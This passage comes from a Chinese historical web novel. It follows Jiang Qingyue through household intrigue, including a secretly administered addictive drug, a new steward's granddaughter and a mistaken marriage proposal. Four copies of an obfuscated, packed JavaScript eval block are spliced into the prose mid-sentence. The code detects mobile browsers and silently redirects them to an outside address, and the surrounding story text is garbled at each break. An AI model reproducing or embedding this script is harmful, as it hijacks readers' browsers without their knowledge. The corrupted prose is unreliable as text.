“是的娘，糯米粉和梗米粉，混合搅拌后再加一些糖，上笼蒸熟的。” “钦语，你有心了。” 李钦语莞尔一笑，见江清月始终提防着自己，也不好继续在此待下去，于是便找了个还要继续改良的借口，匆匆带着东西又离开了。 “好险，幸好晌午打包了些糕点带在身上，否则都不知道怎么解释了。” “东西给了吗？” 李钦语看着身边不知从何冒出来的李善俪，被吓了一跳，拍了拍胸脯恢复平静，“姑妈，您又是从哪儿来的？” “是你自己心思不细，做事也不够谨慎。” “好了姑妈，就别教训我了。”李钦语从袖口拿出小瓷瓶，小声道，“江清月在那屋，我没敢给。” “最近她来的未免太频繁了。”李善俪皱眉道，“人家叮嘱过，这药有依赖性，不能停，你今晚再想想办法给她送去。” “知道了。可是姑妈，这样真的好吗？万一被发现了怎么办？” “那也是江氏自愿服下的，我们还能往她嘴里塞不成？况且比起这个，她更接受不了丧子之痛，就算知道这药的真相，依然会求我们给她。” “也是。”李钦语点了点头，“姑妈，说句大逆不道的话，若那位不在了，您是不是就能……” “我早就不奢求所谓名分了，难道被尊称一声郡王妃，日子就能过的好吗？”李善俪顿了顿，“但至少我能掌握这郡王府的实权，为你、为彤姐多谋些好处，将来你们日子更好过，这才是真的。” “钦语助您一臂之力。” 见李钦语等人走远后，江清月盘问起江氏，这段时间李钦语还送了些什么东西来。 “钦语她确实有些心眼，主意多，但肯讨我欢心，并不是什么罪过。” “阿姊，防人之心不可无，当年李善俪又不是没做出过不安分的事，都是一丘之貉，你对她怎么就如此放心。” “前些时日，你不在府上的时候，我吃不好、睡不好，几乎是整宿、整宿，都闭不上眼睛。一到黑夜，我总想起潼丫头的样子……直到钦语肯来开解我，各种食补、药材，如今才好一些。” “她当真有这么好心？” “不管她是出于自愿，还是别的什么目的，我现在能安稳入睡，便已是最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065429|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的期许。” “好吧，你都这样说了，我也不好说什么。” “对了，到时候徐管家去找你……” 江清月叹了口气，打断了她。 “好啦，我已经知道了，阿姊，我会好好待他的。” “嗯嗯。”江氏看着江清月，眉眼带笑，“我之前是不是说过了？” 江清月抿嘴点了点头。 两日后，徐子如按照约定来到那临海小院，他身上穿着浆洗的蓝布衣裳，两鬓斑白，身板却还硬朗。 为了表达歉意，江清月自门口亲迎他，“之前真是不好意思，让您白跑一趟。” “不碍事。”徐老摆了摆手，看向四周道，“我们在哪里开始？” “去书房里详谈吧。” 传闻徐老的父亲曾在宫中当司库，深受耳濡目染，善财有道，为人正直，是江家父母多年好友。 十余年前，江氏保全江家财产时，多亏了这位徐管家鼎力相助，若非他的支持，江家两姐妹恐怕无法在那样的情况下全身而退，多年来，江氏也心存感激，时常书信往来之。 而江氏看中的人，江清月自然也十分尊敬，拿出府中最隆重的排场招待贵客，准备好座位、茶点，几乎调动了这府上所有的下人。 “郡王妃交代给我的，我已全数整理完毕。” “好的，徐老。” 江清月还等着对方从什么地方掏出帐簿，对方却只清了清嗓子。 “江家的财产主要集中在建州卫，田地八百亩，城中铺面三十余间，参行七所、客栈五间、酒楼两间、当铺三间。东三街有一老宅，西二街有五进院落，此外，城外荞山、涂山有别馆数间。” “虽然以前也知道江家实力雄厚，可这样听来，还是震撼不已。” “当年郡王妃嫁到盖州卫后，部分财产迁移至本地，拢共商铺十间，大多分布于落花街。” “落花街？”江清月有些兴奋，“那不是这边最繁华的街巷之一了么？原来我时常逛的竟是自家的铺面。” “江家是靠野山参发迹的，几乎垄断了整个辽东都司，每年光是收税都能供普通县城百姓一年花销。做到这一步，就不仅仅只是生意问题了，如何献供朝堂，打点关系，人情往来，利益交换，这些才是至关重要的事。” “可我对这些并不感兴趣，也一窍不通，是非做不可的事吗？” 徐老点了点头，说道：“曾经是郡王妃在管理，如今便该交给你了。” 江清月拱手作揖道：“来日方长，诸多事宜，还请徐老不吝援手。” 徐老摸了摸胡子，故意没回复，吊着对方的胃口，谈判道：“先前，郡王妃答应了我一事，不知到江姑娘这里，是否还算数？” “何事？徐老不妨说来听听。” 徐老拍了拍手，门外走进一位约十岁的黄毛丫头。 江清月看了看其余人，竟然不知这姑娘是从哪儿冒出来的，又是什么时候进的府。 16. 漏洞 “我徐家三代独出，她那可怜的父亲故去，只有这雏女跟着我生活，可——我一把老骨头，纵使有心将她栽培，又能活多少年？” 徐老顿了顿。 “只求待我死后，姑娘能给她一口饭吃、一席地休憩。” “徐老为江家殚精竭虑，数十年如一日，恩情在上，非几两碎银能消，就算您不开口，我也会待您的亲人如同我自己的家人般。” 徐子如眼看着江清月，心里有了几分肯定，招手唤来门边的小女孩。 “翠微，过来行礼。” 虽长着张娇俏的脸，徐翠微的神态却更像她那一身浩然正气的祖父，不卑不亢，自带神风。年仅十岁的小女孩面对一屋子生人，却无怯意，三步迈上前，直挺身背作揖道： “我叫徐翠微，见过小娘子。” 江清月看着眼前伶俐的姑娘，心里满心欢喜，问道：“可会识字，算数？” “爷爷带着读过《幼学琼林》《增广贤文》《二十四孝》和《龙文鞭影》，此外习得一些数理，嘴上会算，不会写。” 徐之如打断道：“爷孙俩闲来无事解闷罢了，若说真正领悟多少，唯有些皮毛而已。” 江清月看了看小女孩，又看了看徐老，若有所思地点了点头。 至此也算是明白了，这位白眉老人此番前来真正的用意。 “在我府上，不必太拘泥于礼节之事。今后大家都是一家人，彼此互谅互助，恭谦恭敬，戒骄戒躁，安稳度日便好。” 兰姑领着徐翠微先行前往住处歇息，江清月带着徐之如进书房详谈管家之事。 “郡王妃此前交给我的田契、地契等官票甚多，基于安全考虑，一直存放于城中松石街的兴光镖局内。此次前来拜访，恐一路上人多眼杂，不便携带，若江姑娘想要亲自着手保存，我明日便去将它提了出来，安置在府内。” “这些先不急。”江清月严肃道，“这屋宅并非我所有，而是归于郡王府管控之下，情况较为复杂，许多事情尚未尘埃落定，不便将那些物件摆来。” “兴光镖局乃辽东第一镖局，背靠国师袁章，既同绿林有来往，又同官府联系密切，就算是康显郡王府也难以随意插手。” “先前南下时，府里往来信件时常常托付给兴光镖师，没想到竟是如此厉害的镖局。” “可容老夫冒昧的问一句，此地可是江姑娘决心扎下根来好好耕耘之处？” 江清月此前并未考虑过这样的问题，她对盖州卫并无留恋，只一心记挂江氏，才迟迟未离开。 “这小院不能长久住下去，我正在物色新的府邸，确定后便会举家搬迁至新的住处。至于未来是在盖州卫，或是其他什么地方，我暂且还未想好，待将来再说吧。” 徐管家点了点头。 “舟车劳顿，您和翠微先回房间歇息着，再要紧的事，也等休息好了再说。” 灵玲望着几人远去的背影，小声嘀咕道：“这徐管家可真怪，还以为他要提出些什么不得了的条件呢，原来就是带了个娃娃来府上，这有什么？” 珠儿也疑惑的说道：“是啊，徐管家的父亲曾是宫中司库，他自己又在江家做了多年事，养育一个孩子，又有何难？” “莫非这徐老把早些年的俸禄都花光了，没料到家中飞来横祸，现如今为了这娃娃才不得不再进府里挣钱来了？” 江清月瞥了一眼，说道：“自江家分崩离析到如今已有十余年，其间，多少人曾想让徐老出山都未尝得愿。可见人家本就不是冲着钱财来的。” 灵玲一脸疑惑，“那我更不懂了，还能为什么？” 江清月故作神秘道，“人家不是一开始就说明白了么？就是为了这个孩子。” “翠微吗？” “有许多事情是钱买不来的，平台、眼界和人脉等，这些虽然是我那个时代的典型物，但如今我发现，在这里也未必不是这个道理。良禽择木，贤臣择主，但徐老择的不是我，是郡王妃。” 灵玲挠了挠脑袋，“好像越说越糊涂了，算了，当我没问吧。” “总之，我们对翠微越好，徐管家便会越有动力。”江清月对珠儿和灵玲说道，“灵玲去问问小姑娘需要什么，尽量给她备足些。珠儿，你上城里去打听打听，洪府的学堂办的如何了，看能不能再加个人进去。” “可是姑娘，洪大人家的学堂去的可都是公子、小姐，翠微的身份怕是不便。” “只是放个话出去，无所谓结果。” 自徐子如来到盖州卫，康显郡王府闻风没少派人前来打探，甚至主动提出要给江清月送几个下人来，名为帮衬小姨子，实则是想监视江清月远在海郊，究竟有何动作。 江清月都一一挡了回去，她不在乎那些人如何说她没礼数，或是做事不体面，那些虚头巴脑的客套话，双方都心知肚明，与其虚与委蛇，不如干脆拒绝了去。 康显郡王府一连好几次吃了闭门羹，自然心中亦有怨气，又不好发作，三天两头找理由克扣她们应的那份，要不就说忘记了，要不就说以为已经给过了。 但如今的江清月已是今非昔比，哪还需要望着郡王府过日子？ 即使大部分家产如今还隐匿于暗地，光是悄悄撕开窗户纸，露出来的那一角，便足够府上的日常开支。 清明后，天气又渐渐暖和起来，下了几场雨后，人们褪下冬衣，摇起羽扇来。 旁人的生活似乎归于平常，只有郡王妃仍念记着朱潼，身体日渐消瘦，忘性也渐渐大了起来。 甚至好几次她眼看着江清月，却忘记她名字。 “阿姊，大夫说你的思虑症发作已减轻许多，还减少了用药，为何身体状态，却仍不见好呢？” 江氏糊里糊涂，拿起针线，却忘记如何缝制，“寒冬就要来了，我本想给你绣副手套，一直挺顺手的，停下来休息时，就忘记如何做的了。” 江清月看着那副迟迟没封口的手套。 江氏从去年织到今日，如今天都暖和了，她却以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109975|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为是冬季要来，紧逼着自己加快手脚。 咚咚咚…… 廊外脚步声紧促，江清月探出头去，见屋外人来人往，却无人停留在这东厢房。 “说是静休，这郡王府倒像是遗忘了此处似的，一墙之外如此喧嚣，竟无一人前来。” “无人恼，事事休，只你我二人话说家常，这不好么？”江氏拉起手中的线，“忙碌了半生，才觉得这样的清静最是难得。” 江清月低头嘟囔着，“那也不能连着一个月都不来一次吧。” “乱套了，都乱套了！” 洪嬷嬷搓着手，一脸焦急地往屋里去。 “怎么了？” “什么登州来的姓博的人家，上门来提亲了！” 江清月心中一紧，想起了博家二老。 “来提亲？提的谁的亲？” “咱们郡王府还有谁啊，自然是来找那‘彤丫头’的！” “博家怎么会和淇姐儿扯上关系，这事儿难道郡王爷之前不知？” “若知道，岂会如此手忙脚乱？”洪嬷嬷喝了一大杯水，“对方找上门来，说两人私底下定了婚约，可这彤丫头又非……” 洪嬷嬷看着江氏，顿了顿，收敛着说：“彤丫头又不是他故人，难不成还指鹿为马？” 江清月看着手中忙碌、思绪游离的郡王妃，将洪嬷嬷拉至一旁，低声道：“洪嬷嬷，你说的这些，可千真万确？” “老身亲眼看着那几人进的府，那人手里可拿着信物来的。郡王爷大发雷霆，李善俪和彤丫头，正躲在房内不敢出来哩。” “可是博家二老怎么会跟四姑娘有联系？仅在南下时一同渡过船，怎么会让对方以为二人定下婚约？” 江清月的思绪飘回到从前，想起博烟渚总不合时宜出现在她们身边，还以为他从一开始就打量着郡王府小县主的主意，心中顿时燃起怒火。 “这登徒子，我早该看出他不怀好意。” “月姑娘，您见过这号人物？” “之前南下的时候捎带了他们一程，广州府的府邸也是卖给了他。仔细想来，博烟渚说不定早就打听好郡王府的情况，原是捏了个把柄，来此讨个好处的。” “如此心机之人，若真和咱们结为姻亲，往后岂不是还有更多的麻烦事要处理。” “那也是郡王府自作自受，搞什么‘狸猫换太子’的戏码。”江清月欲言又止，“算了。” 洪嬷嬷一脸担忧，“若是这事闹大了，传到京都那边儿去，说咱们是什么‘欺君’，那可如何是好？” 江清月低着头默默不语，事到如今，她对自己此生已无太大留念，甚至觉得不如早点解脱去下一世，于是便负气说道：“大不了白刀子进红刀子出，什么事还能比死了更严重？” “哎呀，月姑娘，你可别说这样的话——” 转角处急匆匆跑来一丫鬟，气喘吁吁打断了洪嬷嬷的话。 “江、江二姑娘，郡王爷让你快、快去大堂！” 17. 良配 江清月虽说早已不关心郡王府之事，对郡王爷和李善俪母女亦颇有怨言，可临了真成一条船上的蚂蚱，即将覆灭时，她心里又不自觉地紧张起来。 她加快脚步，直往那大堂去。 郡王爷横眉红面，一只手撑在腿上，斜睨着来人。 地上沾着些泥土，周围站着胆战心惊的丫鬟和家丁，显然郡王爷先前发作过，可怒气未消，仍一脸暴怒之相。 郡王爷一拍桌子，怒道，“你去趟广州府，不仅把你亲侄女给害死了，还做出这种辱门败户的事，你还有什么不满意的，要这样害我？” 因这博家来的人口口声声称他与“四姑娘”是在南下渡船上认识的，郡王爷便认定了这次的“乌龙提亲”事件就是江清月的报复。 就算不是她故意找来这浪子上门“假提亲”，也是南下时懒散、失职，没管好这些小辈，才作出这种荒唐事。 江清月不想同他争辩，先前还似有些忐忑的心情，如今都化成释怀的鼻息飘逸了出去。 “既然人家来找‘潼姑娘’，康显郡王府也正有个‘彤姑娘’，有何问题？” “你、你、你！”郡王爷吹胡子瞪眼，指着骂道，“别忘了，你江家的玉扳指还在棺里，你以为你能把自己摘的干干净净么？” “欺君乃株连之罪，我江家作为姻亲原本就逃不掉。倒是郡王爷，做这事之前，难道就没想过后果吗？” 他还真未想得那般仔细，总以为天高皇帝远，加之多年盘踞在盖州卫，早已形成一定势力，便狂妄了些，却没想到不知从登州哪儿冒出来的浑小子，偏偏家族又有一定势力，搅得众人一头雾水，自顾不暇。 “就算你恨我、恨郡王府，可江氏——她待你不薄，十年如一日，将你视作自己的亲生骨肉，你就如此狠心，可以连她都不管不顾？” 江清月眼睛定定地看向窗外乌鸟，叹了口气。 仔细想来，她同郡王府并没有血海深仇。同一屋檐下共度十余年时光，非要说恨，又没有那么深刻，对许多事只是觉得寒心。 “那人带的什么信物来？” 郡王爷愣了一下，随后回忆道：“似是手绢，或是方巾此类的，没仔细瞧。不过，你问这个做甚？” “潼姐在船上常咳嗽不止，不可避免沾染一些污秽，虽时时清洗着，好歹是旧物，自己用着尚可，万般不会拿这物件当信物赠与他人。” “你是说，那博家的，拿的当真不是潼儿的手帕？”郡王爷摸了摸胡须，“那浑小子如此理直气壮，我还真信了他们的！来人，把那群人给我撵出去。” “等等，虽然那手帕不是四姑娘的，但并不见得就不是这府上其他人的。”江清月顿了顿，“总之，先在盖州卫安顿好博家的人，三姑娘那般也要沉住气，切莫在事情明确前露出马脚，待我回府再问问其他人，可对这件事有什么眉目，再做打算。” “我堂堂郡王府，难道还要看这船夫眼色？这传出去像什么话！” “这船夫要是上衙门告发郡王府私换嫡女千金身份，您还能这么硬气吗？” 康显郡王哑了声，鼻子传出粗粗的闷气。 “那好，我给你三天时间，三天内，你必须给我解决了。” “三天？”灵玲跟珠儿交换眼神，忍不住大喊起来，“江姑娘，郡王爷他当真这样说？” 江清月坐在自己府中，仍旧心神不宁，一脸凝重点了点头。 “可，这事跟您有何关系？郡王爷为何要您来负责似的。”珠儿鸣不平道。 “谁知道这大老爷整天脑子里都想些什么？”江清月两指撑住额头，来回摩挲，叹气道，“如果不是阿姊恐遭牵连，我定离那家的乱事远远的才好。” “那博家二老我是见过的，但也是之后的事了。”江清月回忆道，“对方说二人在船上私定终身，可一直到他们下岸，潼姐应是连那人是谁都不知道才是啊。” “没错，当时我们还在猜谁是谁呢。”灵玲点了点头，“我看那人只怕是知道了府里的秘密，借机捞一笔好处。” 珠儿沉思片刻说道：“若只是这样，博家二老大可私下找郡王爷谈议，而不是这样大张旗鼓、担着几大箱彩礼就上门，街坊邻居们都瞧了去，撕个鱼死网破，他也下不来台面。” “如果一开始就是个骗局，他何必编造出如此仔细，却又禁不住推敲的故事？”江清月凝眉思索道，“除非他对那天的事深信不疑。” “总不可能认错了人吧？”灵玲打笑了一句，没想到江清月却直直看着自己，一脸严肃的样子，“不是我，江姑娘，我绝对没做过这样的事。” 江清月问道：“花芸是不是曾说自己见过博家二老？” 珠儿想起那日的对话，“潼姑娘的手绢都是我在清洗，当真没见过什么‘牡丹花纹的手绢’，可我似乎见花芸有过一张用苏绣编织的方巾，至于是不是牡丹，我就不清楚了。” 江清月深吸一口气，“我得去趟郡王府。” 空中飘起细微的雨，正当此时，远处传来一阵急促又绵弱的敲门声。 江清月探出半个身，又因雨点落在发丝上而退步，珠儿会意，小跑去堂屋拿来油纸伞，阿福则冒着雨前去开门。 “花芸？江姑娘，是花芸！” 江清月倾斜着身子，绕过阿福朝门外看去。 细雨如丝，浸湿花芸的衣裳，在雨雾里已有些时间，眼睑红红的，脸拧巴在一块儿，画好的眉耷拉下来，变成一道道墨色的泪迹。 “先进来坐着。”江清月连忙将她拉进府中，“虽然最寒冷的日头已经过去，可也不是炎日那般能淋得的。” “江、江姑娘。” 花芸每说一句话便抽泣一下，众人不好打断，只能神色复杂地围在其身边，静等着她挤出那些字来。 “我也、我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138838|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也顾不得被谁笑话了，先前算命时，大师说我和使船的有姻缘，后在南下的船上，博家二老便同我、同我私定终身，我们还交换了信物。” 花芸摊开紧握的手心，露出那块带有“博”字的玉佩，“可他，可他却误以为我是四姑娘，提亲时找错了人，郡王爷那么生气，我也不敢去找他说清楚。” 她拉起江清月的手，恳切道：“江姑娘，您能不能找郡王爷，或是那博家二老说一说，说那夜同他看星星闻海风的不是别人、而是花芸！” 江清月接过那玉佩，凝眉道：“能在江湖里打拼这么些年，想必不是什么能为爱痴情的单纯之辈，你就确信——他为的是你这个人，而不是他以为的县主之位？” “他说他从未遇见过像我这样的女孩儿，博家二老在登州不是有很多良配吗？据说媒人都踏平了博家的门，可他从未动心，仍然坚守着我们的约定。” “他若真对世俗的一切都不在意，早该大大方方问你姓名、年龄几许、家在何处，而不是仅靠揣测就敢上门逼亲。” 江清月心里忽然泛起疑惑，“逼亲”这样的事在她看来只会出现在两人地位实在悬殊的情况里，博家二老虽无爵位加身，但为实实在在的富商大贾子弟，身负美名，为何会不问事情原由贸然上门提亲？ 花芸扑通一声跪在地上，她拉着江清月的衣角，哽咽道：“求江姑娘成全我们俩。” 一旁的兰姑打着圆场，拉开了花芸，解释道：“众人皆知，博家二老来找的是郡王爷家的嫡女，若把你这个尚未脱离贱籍的家生子推出去，反而引得人争议，让郡王府下不来台。纵使你们是两情相悦，结局也未必能圆满。” “只是让博家二老知道那夜的真相便好，再加上郡王爷根本不想让淇姑娘嫁给博家，这是顺水推舟的好事。” 江清月叹了口气，她从花芸手中夺过那只玉佩，说道：“这件事我去处理，你先把你那张脸好好擦一擦，大家看见晚上都该做噩梦了。” 花芸的目光一直紧随着那玉佩，似乎还有些不甘心，“江姑娘，要不，我同您一起去。” “你既然对他这么有信心，又何必着急要一同去？”江清月眯着眼睛说道，“我会去说服博家取消婚约，但并不意味着他马上就会来迎娶你，在那之前，你不许将此事讲给别人听。” 花芸眨了眨眼睛，“我跟爹爹讲了。” “吴管家懂得这些道理便算了，你再别和府外人说起，这件事更重要。” 花芸点了点头，“不说了，我绝不说。” 江清月看着屋外的雨渐渐停歇，没想到自己又一次以忐忑不安的心情去往郡王府，还是为她曾说“绝不在乎”的事。 “正好还欠那博家二老一个人情，做完此事，就当是两清罢。” 她掸了掸油纸伞，带着兰姑离开了小院，几人驾车朝那人的住处而去，一路上，江清月的心思飘忽不定。 18. 迷雾 朱彤娇声娇气，噙泪说道：“原是花芸那下人冒充的，爹爹，女儿还以为自己真得嫁给那渔夫呢。” 郡王爷一脸心疼地说道：“彤儿别哭，爹爹这就把她打发出去。” 江清月打断了此父女的温情时刻。 “郡王爷打算如何同他、同外面的人说？” “区区一个江湖骗子，竟然舞到我康显郡王跟前来了，还能怎么说？赶出盖州卫都算我仁慈。” “赶走了，然后呢？”江清月反驳道，“仔细想想便能发现其中不合理之处——博家打着私定婚约的名义而来，一个消息，就算从前门到后院需要传一阵子，亦不至于好几日都没个主意，为何这么久以后才识破这显而易见的谎言？” “又不是寻常人家，思虑深而计长远，花费些时日再做打算再正常不过了。” “外界本就对朱潼、朱淇身份多有猜测，如此便更加令人生疑，若那博家男子又是个较真的，非要当面对峙，郡王府又当如何？” “那就跟他说明白，是他搞错了，老老实实拍屁股走人吧。”郡王爷捋了捋胡须。 朱彤拉着郡王爷的袖子补充道：“虽然放过了这渔夫，但那贱奴必须打出去，竟然敢佯装成郡王府千金同野男子谈情说爱，败坏我的名声，差点儿被她害的万劫不复。” 她斜眼看着江清月，“这事说起来你也有责任，爹爹把她打出去后，你不准再将她收进你府中。” “花芸并没有欺骗谁，只是对方会错了意。”江清月说道：“况且，花芸的父亲吴总管是郡王府多年的老人，忠实勤勉，如今正是用人的时候，若把他唯一的女儿赶出府又任人欺凌，谁还有心思继续在这伤心之地鞠躬尽瘁？” “可是……” 朱彤还想说些什么，却被打断。 “此外，郡王府多年以来素有宽厚仁慈的名声，因为博家男子的误会，而把无辜的丫鬟赶出府，岂不是惹人非议，以为郡王府自私薄情，为划清界限而不顾下人死活。” 朱彤瘪起张嘴，说道：“算了，说不过你，你想怎么样就怎么样吧。” 江清月仍是淡淡的模样，“把此事原委告知博家男子，他若明事理、知廉耻，自然会离开盖州卫，放话出去就说是他钦慕郡王府的姑娘，并没有私定终身一回事，街上人最多议论一段时日，再不久就会忘记。” 郡王爷勉强点了点头，“也只有这样了。” “至于花芸，郡王爷就把她给我，我定然好好管教她。”江清月补充道，“不仅仅是卖身契，花芸、珠儿、灵玲以及阿福、阿康的贱籍，都请郡王爷交给我保管。 郡王爷警惕了起来，“你要这些做什么？” “奴仆们散漫怠慢，若不能以官书约束之，便难以管教。” “贱民的劣根性是不会变的，必须得教训，对了，我不是给你送去好些个老实的，你怎么都拒之门外？” “郡王爷费心了，但清月不想多劳烦，只要把这些对郡王府已无任何意义的文书给我，便能为彼此省下不少事。” “你一个弱女子，保管这些东西反而危险，若你想要，再来我府上拿便是。” “我从小寄人篱下，心中多有思虑，这段时间夜来辗转反侧总睡不踏实，觉得自己从没能掌握实权，更无底气管教下人。”江清月顿了顿，“郡王爷早就不想要这些下人回府，何不把文书一应交由我处置？” “罢了罢了，你晚些同李钦语说去，我累了，先去休息了。” 郡王爷在丫鬟搀扶下离开了堂屋，江清月这才注意到他身形消瘦了不少。 再回到那海滨小院时，天已暗沉了下来，可江清月的心却明亮了不少。 对于生活，她虽仍是不懂前路在何处，可渐渐地，似乎已走上正轨。 花芸拉着灵玲的手，一脸焦急地坐在门前的长椅上，几人从白光里坐到月光洒下来，一直到马蹄声从朦胧雾气里传来，她们的心又揪了起来。 珠儿上前掀开帘子，江清月假装严肃地走下来。 “完了，全完了。”花芸刚站起身来，见她这副表情，顿时心灰意冷，双腿瘫软，一个没站住，一屁股又墩坐了下去。 “就这么沉不住气吗？”江清月从怀里掏出一叠文书，像从前小时候展示满分试卷似的举在众人面前。 “江姑娘，这是什么？”灵玲凑近看着，却因不识字而说不出个所以然。 “卖身契和贱籍，全从郡王府拿回来了。” 身份文书转了出来，便意味着不再受郡王府的要挟，众人欣喜若狂，纷纷凑上前去围观。 她们都不识字，却凭着微弱的月光一字字比划着、读着，手里握着那薄薄的纸，像是能掌握自己人生似的。 可花芸却高兴不起来。 “江姑娘，那博家二老呢？” 江清月回忆道：“郡王爷托人前去向他说明了原委，今日下午，他们便乘马车离开了盖州卫，只留下一封短短的书信交给郡王爷，至于纸上内容为何，我就不知了。” “二老可有提起我？” 江清月摇了摇头，“人是连夜走的，想必也觉着荒谬不已，不愿再深究此事。” 花芸掩面哭了起来。 兰姑安慰道：“把自己的一生寄托给虚无缥缈的人原就是不靠谱的，此番至少因祸得福，从郡王府脱离了出来，过几年安生日子。” “可是，这又有什么用呢？” 江清月一愣，表情沉了下来，似乎有些怨言，说道：“怎么，你不愿意过这种平淡的日子？” 花芸抬眼看了一眼，又低头叹着气，心中确实为江清月说的那样。 她曾做了一整年的美梦，梦中嫁给了登州船总的二公子，勤劳踏实地打理着一大家族的内务。 这梦太过真实，日日想、夜夜想，眼前的场景几乎就快成真的，以至于忘了自己的身份。 如今回过头看看，才知自身处境的艰难，或是出于悔悟，或是明哲保身，花芸讨好道： “江姑娘，花芸再不去哪儿了，尽心尽力伺候您一辈子，直到您厌恶了，我就在十里八街外的横梁悬一根白绫，不给谁添麻烦。” 江清月叹了口气，“倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15175541|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不是要这样。” 自那以后的很长一段日子，登州博家再没有传来消息，众人也渐渐淡忘了这事。 日光渐渐烈了起来，从前爱晒的人都纷纷躲起了太阳，江清月最近不大爱动，气温的变化总让她想起一些并不愉快的事情。 抛开去看望江氏的例行事务，她便只会待在屋里，手头总忙些什么，却又不知道在忙些什么。 某日晴朗时，灵玲手里还提着买菜的筐子，全然忘记了自己出门一趟的任务，便兴冲冲地跑了回来。 “今早我自郡王府门前过，听说郡王爷今晚会在南山脚下的川江池畔大摆宴席，门口乌泱泱来了几十辆马车，我拉住门口脸熟的小厮一问，说是请来了江南最有名的歌舞伎，说是要效仿什么曲、什么宴。” 江清月歪头道：“曲江宴？” “对对，就是这个。” “看来是泓哥儿回来了。” 她的手里还捧着账簿，却心不在焉地乱翻着。 灵玲一脸疑惑，说道：“二爷不是在京城参加殿试么？难道是，落选了？” 珠儿弯着手指敲了敲灵玲的脑袋，笑着反驳道：“笨灵玲，要是二爷落选了，郡王爷会大张旗鼓地摆桌设宴么？” “也是呢。”灵玲点了点头，“可是这样的大事，郡王爷怎么不通知我们呢？” 江清月玩笑说道：“一边闹着要同郡王府割席，一边又想吃郡王府的软饭，好赖话都让我们说了。” 灵玲连忙摆手，“我不是这个意思，心想着二爷再怎么……再怎么说也是多少年的情谊，理应前来知会一声才是。” 江清月低垂着眼眸，心中五味杂陈，沉思片刻后叹了口气。 殿试刚放榜时，她几次三番去郡王府打听消息，还特意叮嘱兰姑看好家中来信。 可到了最后，如同今日一样，她仍是从外人口中得知朱泓的消息。 “那姑娘，今晚咱还去么？”灵玲小声问道。 “起先还打着我的幌子，原来你的心早就飞去江对岸了。”江清月摇了摇羽扇，“留是留不住的，去沾点喜气回来吧。” 灵玲蹦了起来，缠着珠儿同她一起去，珠儿却对这些事不感兴趣，兰姑更是嫌累不愿走。 “花芸，你是最爱看热闹的，咱们一起去吧？” 花芸一席素衣，面容憔悴，摇了摇头。 “你们都不去，那我也不去了。” 灵玲有些失落地坐在木椅上。 江清月唤来屋内写字的翠微，说道：“这孩子本是乡野里乱窜的，如今不得不关在府里，久了难免烦闷，正好泓哥设宴于川江池畔，可遇不可求，灵玲，你带她去瞧瞧吧。” 翠微的眸子闪出一丝亮光，“可是传闻中那位才高八斗的泓二公子？” 江清月低头轻声问道：“翠微也想成为这样的人么？” 徐翠微猛地点了点头。 “那以后送你去学堂，如何？” “此话当真？” “当真。”江清月故弄玄虚道，“不过将来，你可是要报答我的。” 19. 怀疑 天边晕染起一抹淡淡的粉，像是一抹胭脂洒进了海里，随风摇曳，每分每秒变幻着姿色。 川江池畔围满各式各样的人，起初是稀疏几人远远望着灯火眺望。 越靠近，便越是喧嚣，那些人大多数盖州卫前来围观的市民，纷纷交头接耳，抵掌而谈。 逆着流觞曲水而上，人声少了，琴声便悠扬了起来。 康显郡王包了两艘北上的船，将江南最贵的名伎请至盖州卫，成箱的金银财宝砸了进去，只为听个响。 聚会最盛处，作为主角的朱泓却并不在池畔。 背对着月光，他与那琴声越走越远。 因不想被人议论，朱泓还刻意低着头，绕着人群走，虽仍能听见有人议论自己，却无人真正认得他。 直至走到外三层时，人们已经开始自娱自乐，像是在庆贺自己的事一般，无人在意今晚为何而来。 “姑娘，今晚的月亮真亮呀。” 珠儿望着天空说道。 江清月正抱着半边西瓜，抬了抬眼皮子，“明日又是大太阳。” 不知从哪儿冒出来的黑猫，一跃自墙上而下，正巧扑倒在江清月脚边，她被窜出来的黑影吓了一跳，手中的西瓜滚落地上，红色的汁水溅了一身。 她站起身来，抬手擦着脸，掸了掸衣裳。 